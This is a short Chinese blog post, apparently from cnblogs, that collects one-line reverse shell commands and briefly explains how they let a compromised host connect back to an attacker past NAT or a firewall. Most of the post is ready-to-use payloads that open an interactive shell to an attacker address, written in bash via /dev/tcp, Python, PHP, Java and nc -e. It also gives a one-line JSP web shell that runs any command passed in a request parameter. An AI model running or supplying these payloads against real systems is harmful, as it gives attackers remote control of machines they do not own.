轻便的一句话反弹shell语句
反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作,原因有很多,例如目标是局域网,或者开启防火墙的某些策略等情况,而这时,我们就可以让受害者主动向攻击者发起连接,被控端发起请求到控制端某端口,并将其命令行的输入输出转到控制端,从而实现交互。
- bash
root# bash -i >& /dev/tcp/192.168.31.41/8080 0>&1
bash -i 就是打开一个交互式的shell,输入命令回显给用户; /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据,也存在/dev/udp/;上述命令就是和192.168.31.41:8080简历tcp连接。
核心方法就是通过建立socket连接通信来传输数据,其他语言也有不同的实现方法:
- python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- php
php -r '$sock=fsockopen("192.168.31.41",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
- java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()
执行命令的语句:
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
- nc反弹
nc 192.168.1.123 12345 -t -e /bin/bash
本文来自博客园,作者:人间修行,转载请注明原文链接:https://www.cnblogs.com/ffx1/p/12653633.html